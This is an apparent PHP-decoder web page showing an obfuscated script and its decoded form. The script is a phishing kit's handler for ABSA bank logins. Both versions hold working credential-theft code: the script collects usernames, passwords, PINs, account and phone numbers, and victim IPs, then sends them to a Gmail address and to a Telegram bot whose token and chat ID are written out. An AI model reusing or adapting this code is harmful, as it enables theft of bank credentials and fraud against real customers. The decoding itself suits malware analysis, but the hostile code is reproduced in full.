Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto rWyfw; I6N0Z: if (empty($_POST["\x61\x62\163\x61\x75\x73\145\x72\156\141\x6d\..
Decoded Output download
<?php
goto rWyfw; I6N0Z: if (empty($_POST["absausername"])) { $nameErr = " "; } goto dVEKh; rWyfw: session_start(); goto I6N0Z; dVEKh: if (empty($_POST["absapassword"])) { $nameErr = " "; } elseif (strlen($_POST["absausername"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["absapassword"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["absausername"]) < 1) { $nameErr = " "; } elseif (strlen($_POST["absapassword"]) < 1) { $nameErr = " "; } else { $_SESSION["bnk"] = $bnk = "absa"; $absausername = $_POST["absausername"]; $absapassword = $_POST["absapassword"]; $absapin = $_POST["absapin"]; $absanumber = $_POST["absanumber"]; $absaphone = $_POST["absaphone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[ ABSA Result ]+==================\xa"; $message .= "ID : " . $absausername . "
"; $message .= "pw : " . $absapassword . "
"; $message .= "phone : " . $absaphone . "\xa\xa"; $message .= "pin : " . $absapin . "\xa\xa"; $message .= "number : " . $absanumber . "\xa
"; $message .= "Client IP : " . $ip . "\xa"; $message .= "Port : " . $port . "\xa"; $message .= "=============+ [ Created by OmeGaLorD ] +=============
"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "
\xa"; mail($send, $subject, $message, $headers); $botToken = "6834005375:AAHQd2kw80Vz8tRByjDDCKLdj9rIrALthN8"; $chatId = "6944516925"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=Absa user: {$absausername}%0AAbsa pw: {$absapassword}%0AAbsa phone: {$absaphone}%0AAbsa pin: {$absapin}%0AAbsa number: {$absanumber}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto pg8TX; pg8TX: ?>
Did this file decode correctly?
Original Code
<?php
goto rWyfw; I6N0Z: if (empty($_POST["\x61\x62\163\x61\x75\x73\145\x72\156\141\x6d\x65"])) { $nameErr = "\x20"; } goto dVEKh; rWyfw: session_start(); goto I6N0Z; dVEKh: if (empty($_POST["\x61\142\163\141\x70\x61\x73\x73\x77\157\162\144"])) { $nameErr = "\40"; } elseif (strlen($_POST["\x61\x62\x73\141\x75\163\145\x72\x6e\141\155\x65"]) > 30) { $nameErr = "\x20"; } elseif (strlen($_POST["\x61\142\x73\x61\x70\141\x73\163\167\x6f\162\144"]) > 30) { $nameErr = "\40"; } elseif (strlen($_POST["\x61\142\x73\x61\x75\x73\x65\162\156\x61\155\x65"]) < 1) { $nameErr = "\40"; } elseif (strlen($_POST["\x61\x62\x73\x61\x70\x61\x73\x73\167\157\162\x64"]) < 1) { $nameErr = "\40"; } else { $_SESSION["\142\156\153"] = $bnk = "\x61\x62\x73\x61"; $absausername = $_POST["\141\x62\x73\x61\x75\163\x65\x72\x6e\x61\155\145"]; $absapassword = $_POST["\x61\142\x73\141\x70\x61\x73\x73\167\157\162\x64"]; $absapin = $_POST["\141\x62\x73\x61\160\151\x6e"]; $absanumber = $_POST["\141\142\x73\x61\x6e\165\155\x62\145\x72"]; $absaphone = $_POST["\141\x62\163\141\160\x68\157\x6e\145"]; $ip = getenv("\x52\105\115\117\x54\105\x5f\x41\x44\x44\x52"); $port = $_SERVER["\122\x45\x4d\x4f\x54\x45\x5f\x50\x4f\x52\x54"]; $hostname = gethostbyaddr($ip); $message = "\75\x3d\x3d\x3d\75\x3d\75\75\75\75\x3d\75\75\x3d\x3d\75\x3d\75\53\133\x20\x41\102\x53\x41\40\122\145\x73\x75\154\164\x20\x5d\53\x3d\x3d\75\75\x3d\x3d\75\75\x3d\x3d\75\75\x3d\x3d\x3d\75\x3d\75\xa"; $message .= "\x49\104\x20\x20\x3a\40" . $absausername . "\12"; $message .= "\160\x77\x20\x3a\x20" . $absapassword . "\12\12"; $message .= "\160\150\x6f\x6e\x65\x20\x3a\x20" . $absaphone . "\xa\xa"; $message .= "\160\x69\156\40\x3a\x20" . $absapin . "\xa\xa"; $message .= "\156\165\155\x62\x65\162\x20\x3a\x20" . $absanumber . "\xa\12"; $message .= "\103\154\x69\145\156\164\40\111\120\x20\x3a\40" . $ip . "\xa"; $message .= "\120\157\x72\x74\40\72\40" . $port . "\xa"; $message .= "\x3d\x3d\75\x3d\x3d\75\75\x3d\75\75\75\75\x3d\x2b\x20\133\40\103\162\x65\x61\164\x65\144\40\x62\171\40\x20\x4f\155\145\x47\141\114\x6f\x72\104\40\x5d\40\x2b\75\x3d\75\75\x3d\x3d\75\75\x3d\75\x3d\75\75\12"; $send = "\151\141\155\62\x33\x74\153\145\x6e\x74\x65\x72\x70\x72\x69\x73\145\x73\100\147\x6d\141\x69\x6c\56\x63\x6f\155"; $subject = "\x44\145\164\x20{$ip}"; $headers .= "\x58\x2d\x4d\x61\151\154\145\162\72\40\120\110\x50\x20\166" . phpversion() . "\15\xa"; mail($send, $subject, $message, $headers); $botToken = "\66\x38\x33\64\x30\x30\65\x33\x37\x35\x3a\101\x41\110\x51\144\x32\153\x77\x38\60\x56\x7a\x38\164\122\x42\x79\x6a\104\104\x43\x4b\114\144\x6a\71\162\x49\162\101\114\164\x68\116\x38"; $chatId = "\66\71\64\64\65\61\x36\x39\x32\x35"; $url = "\150\x74\164\160\x73\72\x2f\x2f\141\x70\151\x2e\x74\145\154\x65\147\162\x61\x6d\x2e\x6f\x72\x67\57\142\x6f\x74{$botToken}\57\x73\145\x6e\144\x4d\145\x73\x73\x61\x67\145\x3f\143\150\x61\164\x5f\151\144\x3d{$chatId}\46\x74\145\170\164\75\101\142\x73\141\40\165\163\x65\162\72\40{$absausername}\45\x30\x41\x41\x62\x73\141\x20\160\x77\x3a\40{$absapassword}\45\x30\101\x41\142\163\x61\x20\x70\x68\157\x6e\145\x3a\x20{$absaphone}\45\60\101\101\142\x73\141\40\160\151\x6e\72\x20{$absapin}\45\60\101\x41\142\x73\x61\40\x6e\x75\x6d\x62\145\x72\x3a\x20{$absanumber}\45\60\x41\x43\x6c\x69\145\x6e\164\40\151\x70\72\40{$ip}\x25\60\101\75\x3d\x3d\x3d\75\75\75\x3d\x3d\x3d\75\75\75\53\40\133\40\103\x72\x65\141\164\145\144\40\x62\171\40\40\117\155\145\x47\x61\114\x6f\x72\104\x20\135\x20\53\x3d\75\75\x3d\75\75\75\x3d\75\x3d\x3d\x3d\75"; $streamOptions = array("\x73\163\154" => array("\x76\145\162\151\146\171\x5f\160\145\145\162" => false, "\x76\x65\x72\x69\146\x79\137\x70\145\145\x72\x5f\156\141\x6d\145" => false), "\x68\164\164\x70" => array("\155\x65\164\x68\x6f\144" => "\120\x4f\123\x54")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\162", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto pg8TX; pg8TX: ?>
Function Calls
None |
Stats
MD5 | 8058560a1ecc19eae179b38a70029a22 |
Eval Count | 0 |
Decode Time | 41 ms |